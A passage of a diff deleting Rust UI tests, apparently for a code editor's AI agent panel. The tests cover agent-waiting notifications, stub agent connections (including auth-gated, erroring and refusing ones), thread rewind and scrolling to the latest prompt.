-        let tool_call = acp::ToolCall::new(tool_call_id.clone(), "Label")
-            .kind(acp::ToolKind::Edit)
-            .content(vec!["hi".into()]);
-        let connection =
-            StubAgentConnection::new().with_permission_requests(HashMap::from_iter([(
-                tool_call_id,
-                PermissionOptions::Flat(vec![acp::PermissionOption::new(
-                    "1",
-                    "Allow",
-                    acp::PermissionOptionKind::AllowOnce,
-                )]),
-            )]));
-
-        connection.set_next_prompt_updates(vec![acp::SessionUpdate::ToolCall(tool_call)]);
-
-        let (thread_view, cx) = setup_thread_view(StubAgentServer::new(connection), cx).await;
-
-        let message_editor = message_editor(&thread_view, cx);
-        message_editor.update_in(cx, |editor, window, cx| {
-            editor.set_text("Hello", window, cx);
-        });
-
-        cx.deactivate_window();
-
-        active_thread(&thread_view, cx).update_in(cx, |view, window, cx| view.send(window, cx));
-
-        cx.run_until_parked();
-
-        assert!(
-            cx.windows()
-                .iter()
-                .any(|window| window.downcast::<AgentNotification>().is_some())
-        );
-    }
-
-    #[gpui::test]
-    async fn test_notification_when_panel_hidden(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let (thread_view, cx) = setup_thread_view(StubAgentServer::default_response(), cx).await;
-
-        add_to_workspace(thread_view.clone(), cx);
-
-        let message_editor = message_editor(&thread_view, cx);
-
-        message_editor.update_in(cx, |editor, window, cx| {
-            editor.set_text("Hello", window, cx);
-        });
-
-        // Window is active (don't deactivate), but panel will be hidden
-        // Note: In the test environment, the panel is not actually added to the dock,
-        // so is_agent_panel_hidden will return true
-
-        active_thread(&thread_view, cx).update_in(cx, |view, window, cx| view.send(window, cx));
-
-        cx.run_until_parked();
-
-        // Should show notification because window is active but panel is hidden
-        assert!(
-            cx.windows()
-                .iter()
-                .any(|window| window.downcast::<AgentNotification>().is_some()),
-            "Expected notification when panel is hidden"
-        );
-    }
-
-    #[gpui::test]
-    async fn test_notification_still_works_when_window_inactive(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let (thread_view, cx) = setup_thread_view(StubAgentServer::default_response(), cx).await;
-
-        let message_editor = message_editor(&thread_view, cx);
-        message_editor.update_in(cx, |editor, window, cx| {
-            editor.set_text("Hello", window, cx);
-        });
-
-        // Deactivate window - should show notification regardless of setting
-        cx.deactivate_window();
-
-        active_thread(&thread_view, cx).update_in(cx, |view, window, cx| view.send(window, cx));
-
-        cx.run_until_parked();
-
-        // Should still show notification when window is inactive (existing behavior)
-        assert!(
-            cx.windows()
-                .iter()
-                .any(|window| window.downcast::<AgentNotification>().is_some()),
-            "Expected notification when window is inactive"
-        );
-    }
-
-    #[gpui::test]
-    async fn test_notification_when_workspace_is_background_in_multi_workspace(
-        cx: &mut TestAppContext,
-    ) {
-        init_test(cx);
-
-        // Enable multi-workspace feature flag and init globals needed by AgentPanel
-        let fs = FakeFs::new(cx.executor());
-
-        cx.update(|cx| {
-            cx.update_flags(true, vec!["agent-v2".to_string()]);
-            agent::ThreadStore::init_global(cx);
-            language_model::LanguageModelRegistry::test(cx);
-            <dyn Fs>::set_global(fs.clone(), cx);
-        });
-
-        let project1 = Project::test(fs.clone(), [], cx).await;
-
-        // Create a MultiWorkspace window with one workspace
-        let multi_workspace_handle =
-            cx.add_window(|window, cx| MultiWorkspace::test_new(project1.clone(), window, cx));
-
-        // Get workspace 1 (the initial workspace)
-        let workspace1 = multi_workspace_handle
-            .read_with(cx, |mw, _cx| mw.workspace().clone())
-            .unwrap();
-
-        let cx = &mut VisualTestContext::from_window(multi_workspace_handle.into(), cx);
-
-        workspace1.update_in(cx, |workspace, window, cx| {
-            let text_thread_store =
-                cx.new(|cx| TextThreadStore::fake(workspace.project().clone(), cx));
-            let panel =
-                cx.new(|cx| crate::AgentPanel::new(workspace, text_thread_store, None, window, cx));
-            workspace.add_panel(panel, window, cx);
-
-            // Open the dock and activate the agent panel so it's visible
-            workspace.focus_panel::<crate::AgentPanel>(window, cx);
-        });
-
-        cx.run_until_parked();
-
-        cx.read(|cx| {
-            assert!(
-                crate::AgentPanel::is_visible(&workspace1, cx),
-                "AgentPanel should be visible in workspace1's dock"
-            );
-        });
-
-        // Set up thread view in workspace 1
-        let thread_store = cx.update(|_window, cx| cx.new(|cx| ThreadStore::new(cx)));
-        let history = cx.update(|window, cx| cx.new(|cx| AcpThreadHistory::new(None, window, cx)));
-
-        let agent = StubAgentServer::default_response();
-        let thread_view = cx.update(|window, cx| {
-            cx.new(|cx| {
-                AcpServerView::new(
-                    Rc::new(agent),
-                    None,
-                    None,
-                    workspace1.downgrade(),
-                    project1.clone(),
-                    Some(thread_store),
-                    None,
-                    history,
-                    window,
-                    cx,
-                )
-            })
-        });
-        cx.run_until_parked();
-
-        let message_editor = message_editor(&thread_view, cx);
-        message_editor.update_in(cx, |editor, window, cx| {
-            editor.set_text("Hello", window, cx);
-        });
-
-        // Create a second workspace and switch to it.
-        // This makes workspace1 the "background" workspace.
-        let project2 = Project::test(fs, [], cx).await;
-        multi_workspace_handle
-            .update(cx, |mw, window, cx| {
-                mw.test_add_workspace(project2, window, cx);
-            })
-            .unwrap();
-
-        cx.run_until_parked();
-
-        // Verify workspace1 is no longer the active workspace
-        multi_workspace_handle
-            .read_with(cx, |mw, _cx| {
-                assert_eq!(mw.active_workspace_index(), 1);
-                assert_ne!(mw.workspace(), &workspace1);
-            })
-            .unwrap();
-
-        // Window is active, agent panel is visible in workspace1, but workspace1
-        // is in the background. The notification should show because the user
-        // can't actually see the agent panel.
-        active_thread(&thread_view, cx).update_in(cx, |view, window, cx| view.send(window, cx));
-
-        cx.run_until_parked();
-
-        assert!(
-            cx.windows()
-                .iter()
-                .any(|window| window.downcast::<AgentNotification>().is_some()),
-            "Expected notification when workspace is in background within MultiWorkspace"
-        );
-
-        // Also verify: clicking "View Panel" should switch to workspace1.
-        cx.windows()
-            .iter()
-            .find_map(|window| window.downcast::<AgentNotification>())
-            .unwrap()
-            .update(cx, |window, _, cx| window.accept(cx))
-            .unwrap();
-
-        cx.run_until_parked();
-
-        multi_workspace_handle
-            .read_with(cx, |mw, _cx| {
-                assert_eq!(
-                    mw.workspace(),
-                    &workspace1,
-                    "Expected workspace1 to become the active workspace after accepting notification"
-                );
-            })
-            .unwrap();
-    }
-
-    #[gpui::test]
-    async fn test_notification_respects_never_setting(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        // Set notify_when_agent_waiting to Never
-        cx.update(|cx| {
-            AgentSettings::override_global(
-                AgentSettings {
-                    notify_when_agent_waiting: NotifyWhenAgentWaiting::Never,
-                    ..AgentSettings::get_global(cx).clone()
-                },
-                cx,
-            );
-        });
-
-        let (thread_view, cx) = setup_thread_view(StubAgentServer::default_response(), cx).await;
-
-        let message_editor = message_editor(&thread_view, cx);
-        message_editor.update_in(cx, |editor, window, cx| {
-            editor.set_text("Hello", window, cx);
-        });
-
-        // Window is active
-
-        active_thread(&thread_view, cx).update_in(cx, |view, window, cx| view.send(window, cx));
-
-        cx.run_until_parked();
-
-        // Should NOT show notification because notify_when_agent_waiting is Never
-        assert!(
-            !cx.windows()
-                .iter()
-                .any(|window| window.downcast::<AgentNotification>().is_some()),
-            "Expected no notification when notify_when_agent_waiting is Never"
-        );
-    }
-
-    #[gpui::test]
-    async fn test_notification_closed_when_thread_view_dropped(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let (thread_view, cx) = setup_thread_view(StubAgentServer::default_response(), cx).await;
-
-        let weak_view = thread_view.downgrade();
-
-        let message_editor = message_editor(&thread_view, cx);
-        message_editor.update_in(cx, |editor, window, cx| {
-            editor.set_text("Hello", window, cx);
-        });
-
-        cx.deactivate_window();
-
-        active_thread(&thread_view, cx).update_in(cx, |view, window, cx| view.send(window, cx));
-
-        cx.run_until_parked();
-
-        // Verify notification is shown
-        assert!(
-            cx.windows()
-                .iter()
-                .any(|window| window.downcast::<AgentNotification>().is_some()),
-            "Expected notification to be shown"
-        );
-
-        // Drop the thread view (simulating navigation to a new thread)
-        drop(thread_view);
-        drop(message_editor);
-        // Trigger an update to flush effects, which will call release_dropped_entities
-        cx.update(|_window, _cx| {});
-        cx.run_until_parked();
-
-        // Verify the entity was actually released
-        assert!(
-            !weak_view.is_upgradable(),
-            "Thread view entity should be released after dropping"
-        );
-
-        // The notification should be automatically closed via on_release
-        assert!(
-            !cx.windows()
-                .iter()
-                .any(|window| window.downcast::<AgentNotification>().is_some()),
-            "Notification should be closed when thread view is dropped"
-        );
-    }
-
-    async fn setup_thread_view(
-        agent: impl AgentServer + 'static,
-        cx: &mut TestAppContext,
-    ) -> (Entity<AcpServerView>, &mut VisualTestContext) {
-        let fs = FakeFs::new(cx.executor());
-        let project = Project::test(fs, [], cx).await;
-        let (multi_workspace, cx) =
-            cx.add_window_view(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
-        let workspace = multi_workspace.read_with(cx, |mw, _| mw.workspace().clone());
-
-        let thread_store = cx.update(|_window, cx| cx.new(|cx| ThreadStore::new(cx)));
-        let history = cx.update(|window, cx| cx.new(|cx| AcpThreadHistory::new(None, window, cx)));
-
-        let thread_view = cx.update(|window, cx| {
-            cx.new(|cx| {
-                AcpServerView::new(
-                    Rc::new(agent),
-                    None,
-                    None,
-                    workspace.downgrade(),
-                    project,
-                    Some(thread_store),
-                    None,
-                    history,
-                    window,
-                    cx,
-                )
-            })
-        });
-        cx.run_until_parked();
-        (thread_view, cx)
-    }
-
-    fn add_to_workspace(thread_view: Entity<AcpServerView>, cx: &mut VisualTestContext) {
-        let workspace = thread_view.read_with(cx, |thread_view, _cx| thread_view.workspace.clone());
-
-        workspace
-            .update_in(cx, |workspace, window, cx| {
-                workspace.add_item_to_active_pane(
-                    Box::new(cx.new(|_| ThreadViewItem(thread_view.clone()))),
-                    None,
-                    true,
-                    window,
-                    cx,
-                );
-            })
-            .unwrap();
-    }
-
-    struct ThreadViewItem(Entity<AcpServerView>);
-
-    impl Item for ThreadViewItem {
-        type Event = ();
-
-        fn include_in_nav_history() -> bool {
-            false
-        }
-
-        fn tab_content_text(&self, _detail: usize, _cx: &App) -> SharedString {
-            "Test".into()
-        }
-    }
-
-    impl EventEmitter<()> for ThreadViewItem {}
-
-    impl Focusable for ThreadViewItem {
-        fn focus_handle(&self, cx: &App) -> FocusHandle {
-            self.0.read(cx).focus_handle(cx)
-        }
-    }
-
-    impl Render for ThreadViewItem {
-        fn render(&mut self, _window: &mut Window, _cx: &mut Context<Self>) -> impl IntoElement {
-            self.0.clone().into_any_element()
-        }
-    }
-
-    pub(crate) struct StubAgentServer<C> {
-        connection: C,
-    }
-
-    impl<C> StubAgentServer<C> {
-        pub(crate) fn new(connection: C) -> Self {
-            Self { connection }
-        }
-    }
-
-    impl StubAgentServer<StubAgentConnection> {
-        pub(crate) fn default_response() -> Self {
-            let conn = StubAgentConnection::new();
-            conn.set_next_prompt_updates(vec![acp::SessionUpdate::AgentMessageChunk(
-                acp::ContentChunk::new("Default response".into()),
-            )]);
-            Self::new(conn)
-        }
-    }
-
-    impl<C> AgentServer for StubAgentServer<C>
-    where
-        C: 'static + AgentConnection + Send + Clone,
-    {
-        fn logo(&self) -> ui::IconName {
-            ui::IconName::Ai
-        }
-
-        fn name(&self) -> SharedString {
-            "Test".into()
-        }
-
-        fn connect(
-            &self,
-            _delegate: AgentServerDelegate,
-            _cx: &mut App,
-        ) -> Task<gpui::Result<(Rc<dyn AgentConnection>, Option<task::SpawnInTerminal>)>> {
-            Task::ready(Ok((Rc::new(self.connection.clone()), None)))
-        }
-
-        fn into_any(self: Rc<Self>) -> Rc<dyn Any> {
-            self
-        }
-    }
-
-    struct FailingAgentServer;
-
-    impl AgentServer for FailingAgentServer {
-        fn logo(&self) -> ui::IconName {
-            ui::IconName::AiOpenAi
-        }
-
-        fn name(&self) -> SharedString {
-            "Codex CLI".into()
-        }
-
-        fn connect(
-            &self,
-            _delegate: AgentServerDelegate,
-            _cx: &mut App,
-        ) -> Task<gpui::Result<(Rc<dyn AgentConnection>, Option<task::SpawnInTerminal>)>> {
-            Task::ready(Err(anyhow!(
-                "extracting downloaded asset for \
-                 https://github.com/zed-industries/codex-acp/releases/download/v0.9.4/\
-                 codex-acp-0.9.4-aarch64-pc-windows-msvc.zip: \
-                 failed to iterate over archive: Invalid gzip header"
-            )))
-        }
-
-        fn into_any(self: Rc<Self>) -> Rc<dyn Any> {
-            self
-        }
-    }
-
-    #[derive(Clone)]
-    struct StubSessionList {
-        sessions: Vec<AgentSessionInfo>,
-    }
-
-    impl StubSessionList {
-        fn new(sessions: Vec<AgentSessionInfo>) -> Self {
-            Self { sessions }
-        }
-    }
-
-    impl AgentSessionList for StubSessionList {
-        fn list_sessions(
-            &self,
-            _request: AgentSessionListRequest,
-            _cx: &mut App,
-        ) -> Task<anyhow::Result<AgentSessionListResponse>> {
-            Task::ready(Ok(AgentSessionListResponse::new(self.sessions.clone())))
-        }
-        fn into_any(self: Rc<Self>) -> Rc<dyn Any> {
-            self
-        }
-    }
-
-    #[derive(Clone)]
-    struct ResumeOnlyAgentConnection;
-
-    impl AgentConnection for ResumeOnlyAgentConnection {
-        fn telemetry_id(&self) -> SharedString {
-            "resume-only".into()
-        }
-
-        fn new_session(
-            self: Rc<Self>,
-            project: Entity<Project>,
-            _cwd: &Path,
-            cx: &mut gpui::App,
-        ) -> Task<gpui::Result<Entity<AcpThread>>> {
-            let action_log = cx.new(|_| ActionLog::new(project.clone()));
-            let thread = cx.new(|cx| {
-                AcpThread::new(
-                    None,
-                    "ResumeOnlyAgentConnection",
-                    self.clone(),
-                    project,
-                    action_log,
-                    SessionId::new("new-session"),
-                    watch::Receiver::constant(
-                        acp::PromptCapabilities::new()
-                            .image(true)
-                            .audio(true)
-                            .embedded_context(true),
-                    ),
-                    cx,
-                )
-            });
-            Task::ready(Ok(thread))
-        }
-
-        fn supports_resume_session(&self) -> bool {
-            true
-        }
-
-        fn resume_session(
-            self: Rc<Self>,
-            session: AgentSessionInfo,
-            project: Entity<Project>,
-            _cwd: &Path,
-            cx: &mut App,
-        ) -> Task<gpui::Result<Entity<AcpThread>>> {
-            let action_log = cx.new(|_| ActionLog::new(project.clone()));
-            let thread = cx.new(|cx| {
-                AcpThread::new(
-                    None,
-                    "ResumeOnlyAgentConnection",
-                    self.clone(),
-                    project,
-                    action_log,
-                    session.session_id,
-                    watch::Receiver::constant(
-                        acp::PromptCapabilities::new()
-                            .image(true)
-                            .audio(true)
-                            .embedded_context(true),
-                    ),
-                    cx,
-                )
-            });
-            Task::ready(Ok(thread))
-        }
-
-        fn auth_methods(&self) -> &[acp::AuthMethod] {
-            &[]
-        }
-
-        fn authenticate(
-            &self,
-            _method_id: acp::AuthMethodId,
-            _cx: &mut App,
-        ) -> Task<gpui::Result<()>> {
-            Task::ready(Ok(()))
-        }
-
-        fn prompt(
-            &self,
-            _id: Option<acp_thread::UserMessageId>,
-            _params: acp::PromptRequest,
-            _cx: &mut App,
-        ) -> Task<gpui::Result<acp::PromptResponse>> {
-            Task::ready(Ok(acp::PromptResponse::new(acp::StopReason::EndTurn)))
-        }
-
-        fn cancel(&self, _session_id: &acp::SessionId, _cx: &mut App) {}
-
-        fn into_any(self: Rc<Self>) -> Rc<dyn Any> {
-            self
-        }
-    }
-
-    /// Simulates an agent that requires authentication before a session can be
-    /// created. `new_session` returns `AuthRequired` until `authenticate` is
-    /// called with the correct method, after which sessions are created normally.
-    #[derive(Clone)]
-    struct AuthGatedAgentConnection {
-        authenticated: Arc<Mutex<bool>>,
-        auth_method: acp::AuthMethod,
-    }
-
-    impl AuthGatedAgentConnection {
-        const AUTH_METHOD_ID: &str = "test-login";
-
-        fn new() -> Self {
-            Self {
-                authenticated: Arc::new(Mutex::new(false)),
-                auth_method: acp::AuthMethod::new(Self::AUTH_METHOD_ID, "Test Login"),
-            }
-        }
-    }
-
-    impl AgentConnection for AuthGatedAgentConnection {
-        fn telemetry_id(&self) -> SharedString {
-            "auth-gated".into()
-        }
-
-        fn new_session(
-            self: Rc<Self>,
-            project: Entity<Project>,
-            _cwd: &Path,
-            cx: &mut gpui::App,
-        ) -> Task<gpui::Result<Entity<AcpThread>>> {
-            if !*self.authenticated.lock() {
-                return Task::ready(Err(acp_thread::AuthRequired::new()
-                    .with_description("Sign in to continue".to_string())
-                    .into()));
-            }
-
-            let session_id = acp::SessionId::new("auth-gated-session");
-            let action_log = cx.new(|_| ActionLog::new(project.clone()));
-            Task::ready(Ok(cx.new(|cx| {
-                AcpThread::new(
-                    None,
-                    "AuthGatedAgent",
-                    self,
-                    project,
-                    action_log,
-                    session_id,
-                    watch::Receiver::constant(
-                        acp::PromptCapabilities::new()
-                            .image(true)
-                            .audio(true)
-                            .embedded_context(true),
-                    ),
-                    cx,
-                )
-            })))
-        }
-
-        fn auth_methods(&self) -> &[acp::AuthMethod] {
-            std::slice::from_ref(&self.auth_method)
-        }
-
-        fn authenticate(
-            &self,
-            method_id: acp::AuthMethodId,
-            _cx: &mut App,
-        ) -> Task<gpui::Result<()>> {
-            if method_id == self.auth_method.id {
-                *self.authenticated.lock() = true;
-                Task::ready(Ok(()))
-            } else {
-                Task::ready(Err(anyhow::anyhow!("Unknown auth method")))
-            }
-        }
-
-        fn prompt(
-            &self,
-            _id: Option<acp_thread::UserMessageId>,
-            _params: acp::PromptRequest,
-            _cx: &mut App,
-        ) -> Task<gpui::Result<acp::PromptResponse>> {
-            unimplemented!()
-        }
-
-        fn cancel(&self, _session_id: &acp::SessionId, _cx: &mut App) {
-            unimplemented!()
-        }
-
-        fn into_any(self: Rc<Self>) -> Rc<dyn Any> {
-            self
-        }
-    }
-
-    #[derive(Clone)]
-    struct SaboteurAgentConnection;
-
-    impl AgentConnection for SaboteurAgentConnection {
-        fn telemetry_id(&self) -> SharedString {
-            "saboteur".into()
-        }
-
-        fn new_session(
-            self: Rc<Self>,
-            project: Entity<Project>,
-            _cwd: &Path,
-            cx: &mut gpui::App,
-        ) -> Task<gpui::Result<Entity<AcpThread>>> {
-            Task::ready(Ok(cx.new(|cx| {
-                let action_log = cx.new(|_| ActionLog::new(project.clone()));
-                AcpThread::new(
-                    None,
-                    "SaboteurAgentConnection",
-                    self,
-                    project,
-                    action_log,
-                    SessionId::new("test"),
-                    watch::Receiver::constant(
-                        acp::PromptCapabilities::new()
-                            .image(true)
-                            .audio(true)
-                            .embedded_context(true),
-                    ),
-                    cx,
-                )
-            })))
-        }
-
-        fn auth_methods(&self) -> &[acp::AuthMethod] {
-            &[]
-        }
-
-        fn authenticate(
-            &self,
-            _method_id: acp::AuthMethodId,
-            _cx: &mut App,
-        ) -> Task<gpui::Result<()>> {
-            unimplemented!()
-        }
-
-        fn prompt(
-            &self,
-            _id: Option<acp_thread::UserMessageId>,
-            _params: acp::PromptRequest,
-            _cx: &mut App,
-        ) -> Task<gpui::Result<acp::PromptResponse>> {
-            Task::ready(Err(anyhow::anyhow!("Error prompting")))
-        }
-
-        fn cancel(&self, _session_id: &acp::SessionId, _cx: &mut App) {
-            unimplemented!()
-        }
-
-        fn into_any(self: Rc<Self>) -> Rc<dyn Any> {
-            self
-        }
-    }
-
-    /// Simulates a model which always returns a refusal response
-    #[derive(Clone)]
-    struct RefusalAgentConnection;
-
-    impl AgentConnection for RefusalAgentConnection {
-        fn telemetry_id(&self) -> SharedString {
-            "refusal".into()
-        }
-
-        fn new_session(
-            self: Rc<Self>,
-            project: Entity<Project>,
-            _cwd: &Path,
-            cx: &mut gpui::App,
-        ) -> Task<gpui::Result<Entity<AcpThread>>> {
-            Task::ready(Ok(cx.new(|cx| {
-                let action_log = cx.new(|_| ActionLog::new(project.clone()));
-                AcpThread::new(
-                    None,
-                    "RefusalAgentConnection",
-                    self,
-                    project,
-                    action_log,
-                    SessionId::new("test"),
-                    watch::Receiver::constant(
-                        acp::PromptCapabilities::new()
-                            .image(true)
-                            .audio(true)
-                            .embedded_context(true),
-                    ),
-                    cx,
-                )
-            })))
-        }
-
-        fn auth_methods(&self) -> &[acp::AuthMethod] {
-            &[]
-        }
-
-        fn authenticate(
-            &self,
-            _method_id: acp::AuthMethodId,
-            _cx: &mut App,
-        ) -> Task<gpui::Result<()>> {
-            unimplemented!()
-        }
-
-        fn prompt(
-            &self,
-            _id: Option<acp_thread::UserMessageId>,
-            _params: acp::PromptRequest,
-            _cx: &mut App,
-        ) -> Task<gpui::Result<acp::PromptResponse>> {
-            Task::ready(Ok(acp::PromptResponse::new(acp::StopReason::Refusal)))
-        }
-
-        fn cancel(&self, _session_id: &acp::SessionId, _cx: &mut App) {
-            unimplemented!()
-        }
-
-        fn into_any(self: Rc<Self>) -> Rc<dyn Any> {
-            self
-        }
-    }
-
-    #[derive(Clone)]
-    struct CwdCapturingConnection {
-        captured_cwd: Arc<Mutex<Option<PathBuf>>>,
-    }
-
-    impl CwdCapturingConnection {
-        fn new() -> Self {
-            Self {
-                captured_cwd: Arc::new(Mutex::new(None)),
-            }
-        }
-    }
-
-    impl AgentConnection for CwdCapturingConnection {
-        fn telemetry_id(&self) -> SharedString {
-            "cwd-capturing".into()
-        }
-
-        fn new_session(
-            self: Rc<Self>,
-            project: Entity<Project>,
-            cwd: &Path,
-            cx: &mut gpui::App,
-        ) -> Task<gpui::Result<Entity<AcpThread>>> {
-            *self.captured_cwd.lock() = Some(cwd.to_path_buf());
-            let action_log = cx.new(|_| ActionLog::new(project.clone()));
-            let thread = cx.new(|cx| {
-                AcpThread::new(
-                    None,
-                    "CwdCapturingConnection",
-                    self.clone(),
-                    project,
-                    action_log,
-                    SessionId::new("new-session"),
-                    watch::Receiver::constant(
-                        acp::PromptCapabilities::new()
-                            .image(true)
-                            .audio(true)
-                            .embedded_context(true),
-                    ),
-                    cx,
-                )
-            });
-            Task::ready(Ok(thread))
-        }
-
-        fn supports_load_session(&self) -> bool {
-            true
-        }
-
-        fn load_session(
-            self: Rc<Self>,
-            session: AgentSessionInfo,
-            project: Entity<Project>,
-            cwd: &Path,
-            cx: &mut App,
-        ) -> Task<gpui::Result<Entity<AcpThread>>> {
-            *self.captured_cwd.lock() = Some(cwd.to_path_buf());
-            let action_log = cx.new(|_| ActionLog::new(project.clone()));
-            let thread = cx.new(|cx| {
-                AcpThread::new(
-                    None,
-                    "CwdCapturingConnection",
-                    self.clone(),
-                    project,
-                    action_log,
-                    session.session_id,
-                    watch::Receiver::constant(
-                        acp::PromptCapabilities::new()
-                            .image(true)
-                            .audio(true)
-                            .embedded_context(true),
-                    ),
-                    cx,
-                )
-            });
-            Task::ready(Ok(thread))
-        }
-
-        fn auth_methods(&self) -> &[acp::AuthMethod] {
-            &[]
-        }
-
-        fn authenticate(
-            &self,
-            _method_id: acp::AuthMethodId,
-            _cx: &mut App,
-        ) -> Task<gpui::Result<()>> {
-            Task::ready(Ok(()))
-        }
-
-        fn prompt(
-            &self,
-            _id: Option<acp_thread::UserMessageId>,
-            _params: acp::PromptRequest,
-            _cx: &mut App,
-        ) -> Task<gpui::Result<acp::PromptResponse>> {
-            Task::ready(Ok(acp::PromptResponse::new(acp::StopReason::EndTurn)))
-        }
-
-        fn cancel(&self, _session_id: &acp::SessionId, _cx: &mut App) {}
-
-        fn into_any(self: Rc<Self>) -> Rc<dyn Any> {
-            self
-        }
-    }
-
-    pub(crate) fn init_test(cx: &mut TestAppContext) {
-        cx.update(|cx| {
-            let settings_store = SettingsStore::test(cx);
-            cx.set_global(settings_store);
-            theme::init(theme::LoadThemes::JustBase, cx);
-            editor::init(cx);
-            agent_panel::init(cx);
-            release_channel::init(semver::Version::new(0, 0, 0), cx);
-            prompt_store::init(cx)
-        });
-    }
-
-    fn active_thread(
-        thread_view: &Entity<AcpServerView>,
-        cx: &TestAppContext,
-    ) -> Entity<AcpThreadView> {
-        cx.read(|cx| {
-            thread_view
-                .read(cx)
-                .active_thread()
-                .expect("No active thread")
-                .clone()
-        })
-    }
-
-    fn message_editor(
-        thread_view: &Entity<AcpServerView>,
-        cx: &TestAppContext,
-    ) -> Entity<MessageEditor> {
-        let thread = active_thread(thread_view, cx);
-        cx.read(|cx| thread.read(cx).message_editor.clone())
-    }
-
-    #[gpui::test]
-    async fn test_rewind_views(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let fs = FakeFs::new(cx.executor());
-        fs.insert_tree(
-            "/project",
-            json!({
-                "test1.txt": "old content 1",
-                "test2.txt": "old content 2"
-            }),
-        )
-        .await;
-        let project = Project::test(fs, [Path::new("/project")], cx).await;
-        let (multi_workspace, cx) =
-            cx.add_window_view(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
-        let workspace = multi_workspace.read_with(cx, |mw, _| mw.workspace().clone());
-
-        let thread_store = cx.update(|_window, cx| cx.new(|cx| ThreadStore::new(cx)));
-        let history = cx.update(|window, cx| cx.new(|cx| AcpThreadHistory::new(None, window, cx)));
-
-        let connection = Rc::new(StubAgentConnection::new());
-        let thread_view = cx.update(|window, cx| {
-            cx.new(|cx| {
-                AcpServerView::new(
-                    Rc::new(StubAgentServer::new(connection.as_ref().clone())),
-                    None,
-                    None,
-                    workspace.downgrade(),
-                    project.clone(),
-                    Some(thread_store.clone()),
-                    None,
-                    history,
-                    window,
-                    cx,
-                )
-            })
-        });
-
-        cx.run_until_parked();
-
-        let thread = thread_view
-            .read_with(cx, |view, cx| {
-                view.active_thread().map(|r| r.read(cx).thread.clone())
-            })
-            .unwrap();
-
-        // First user message
-        connection.set_next_prompt_updates(vec![acp::SessionUpdate::ToolCall(
-            acp::ToolCall::new("tool1", "Edit file 1")
-                .kind(acp::ToolKind::Edit)
-                .status(acp::ToolCallStatus::Completed)
-                .content(vec![acp::ToolCallContent::Diff(
-                    acp::Diff::new("/project/test1.txt", "new content 1").old_text("old content 1"),
-                )]),
-        )]);
-
-        thread
-            .update(cx, |thread, cx| thread.send_raw("Give me a diff", cx))
-            .await
-            .unwrap();
-        cx.run_until_parked();
-
-        thread.read_with(cx, |thread, _cx| {
-            assert_eq!(thread.entries().len(), 2);
-        });
-
-        thread_view.read_with(cx, |view, cx| {
-            let entry_view_state = view
-                .active_thread()
-                .map(|active| active.read(cx).entry_view_state.clone())
-                .unwrap();
-            entry_view_state.read_with(cx, |entry_view_state, _| {
-                assert!(
-                    entry_view_state
-                        .entry(0)
-                        .unwrap()
-                        .message_editor()
-                        .is_some()
-                );
-                assert!(entry_view_state.entry(1).unwrap().has_content());
-            });
-        });
-
-        // Second user message
-        connection.set_next_prompt_updates(vec![acp::SessionUpdate::ToolCall(
-            acp::ToolCall::new("tool2", "Edit file 2")
-                .kind(acp::ToolKind::Edit)
-                .status(acp::ToolCallStatus::Completed)
-                .content(vec![acp::ToolCallContent::Diff(
-                    acp::Diff::new("/project/test2.txt", "new content 2").old_text("old content 2"),
-                )]),
-        )]);
-
-        thread
-            .update(cx, |thread, cx| thread.send_raw("Another one", cx))
-            .await
-            .unwrap();
-        cx.run_until_parked();
-
-        let second_user_message_id = thread.read_with(cx, |thread, _| {
-            assert_eq!(thread.entries().len(), 4);
-            let AgentThreadEntry::UserMessage(user_message) = &thread.entries()[2] else {
-                panic!();
-            };
-            user_message.id.clone().unwrap()
-        });
-
-        thread_view.read_with(cx, |view, cx| {
-            let entry_view_state = view
-                .active_thread()
-                .unwrap()
-                .read(cx)
-                .entry_view_state
-                .clone();
-            entry_view_state.read_with(cx, |entry_view_state, _| {
-                assert!(
-                    entry_view_state
-                        .entry(0)
-                        .unwrap()
-                        .message_editor()
-                        .is_some()
-                );
-                assert!(entry_view_state.entry(1).unwrap().has_content());
-                assert!(
-                    entry_view_state
-                        .entry(2)
-                        .unwrap()
-                        .message_editor()
-                        .is_some()
-                );
-                assert!(entry_view_state.entry(3).unwrap().has_content());
-            });
-        });
-
-        // Rewind to first message
-        thread
-            .update(cx, |thread, cx| thread.rewind(second_user_message_id, cx))
-            .await
-            .unwrap();
-
-        cx.run_until_parked();
-
-        thread.read_with(cx, |thread, _| {
-            assert_eq!(thread.entries().len(), 2);
-        });
-
-        thread_view.read_with(cx, |view, cx| {
-            let active = view.active_thread().unwrap();
-            active
-                .read(cx)
-                .entry_view_state
-                .read_with(cx, |entry_view_state, _| {
-                    assert!(
-                        entry_view_state
-                            .entry(0)
-                            .unwrap()
-                            .message_editor()
-                            .is_some()
-                    );
-                    assert!(entry_view_state.entry(1).unwrap().has_content());
-
-                    // Old views should be dropped
-                    assert!(entry_view_state.entry(2).is_none());
-                    assert!(entry_view_state.entry(3).is_none());
-                });
-        });
-    }
-
-    #[gpui::test]
-    async fn test_scroll_to_most_recent_user_prompt(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let connection = StubAgentConnection::new();
-
-        // Each user prompt will result in a user message entry plus an agent message entry.
-        connection.set_next_prompt_updates(vec![acp::SessionUpdate::AgentMessageChunk(
-            acp::ContentChunk::new("Response 1".into()),
-        )]);
-
-        let (thread_view, cx) =
-            setup_thread_view(StubAgentServer::new(connection.clone()), cx).await;
-
-        let thread = thread_view
-            .read_with(cx, |view, cx| {
-                view.active_thread().map(|r| r.read(cx).thread.clone())
-            })
-            .unwrap();
-
-        thread
-            .update(cx, |thread, cx| thread.send_raw("Prompt 1", cx))
-            .await
-            .unwrap();
-        cx.run_until_parked();
-
-        connection.set_next_prompt_updates(vec![acp::SessionUpdate::AgentMessageChunk(
-            acp::ContentChunk::new("Response 2".into()),
-        )]);
-
-        thread
-            .update(cx, |thread, cx| thread.send_raw("Prompt 2", cx))
-            .await
-            .unwrap();
-        cx.run_until_parked();
-
-        // Move somewhere else first so we're not trivially already on the last user prompt.
-        active_thread(&thread_view, cx).update(cx, |view, cx| {
-            view.scroll_to_top(cx);
-        });
-        cx.run_until_parked();
-
-        active_thread(&thread_view, cx).update(cx, |view, cx| {
-            view.scroll_to_most_recent_user_prompt(cx);
